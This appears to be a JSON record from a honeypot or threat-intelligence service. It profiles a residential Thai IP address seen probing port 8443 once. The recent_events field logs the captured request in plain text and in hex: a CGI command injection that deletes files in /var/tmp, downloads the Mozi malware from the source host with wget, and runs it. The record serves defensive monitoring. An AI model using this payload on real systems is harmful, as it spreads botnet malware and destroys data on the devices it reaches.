{"ip":"125.27.11.223","total_events":1,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"residential ISP"},"first_seen":"2026-06-23T02:59:38","last_seen":"2026-06-23T02:59:38","events_24h":0,"events_7d":1,"geo":{"country_code":"TH","country_name":"Thailand","region":"Chanthaburi","city":"Chanthaburi","lat":12.6519,"lon":102.1182,"asn":23969,"org":"TOT Public Company Limited"},"source_domain":"node-2cf.pool-125-27.dynamic.nt-isp.net","known_scanners":[],"scanner_tag":{"key":"peeringdb:as23969","label":"NT Broadband ISP","category":"isp","url":"https://www.peeringdb.com/asn/23969"},"cve_matches":[],"top_ports":[{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":[]},"fingerprint_peers":{},"user_agents":[],"timeline":[{"date":"2026-06-23","count":1}],"recent_events":[{"timestamp":"2026-06-23T02:59:38","port":8443,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://125.27.11.223:36704/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m","payload_hex":"474554202f6367692d62696e2f3b6364247b4946537d2f7661722f746d703b726d247b4946537d2d7266247b4946537d2a3b247b4946537d77676574247b4946537d687474703a2f2f3132352e32372e31312e3232333a33363730342f4d6f7a692e6d3b247b4946537d7368247b4946537d2f7661722f746d702f4d6f7a692e6d","method":"","user_agent":"","community_id":"1:crwdCouu+dhwejJJYJkLTF2851Y=","ja3":"","session":"7b41e292-762a-406a-abc9-d2e92210ed8e","seq":1,"duration_ms":101,"bytes_in":129,"bytes_out":78,"enriched":{"digest":"169cb78a10cd87d0","label":"HTTP","strings":["GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://125.27.…"],"iocs":{"urls":["http://125.27.…"],"paths":["/var/tmp"]}}}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[],"data_as_of":"2026-06-24T13:16:21.977749+00:00"}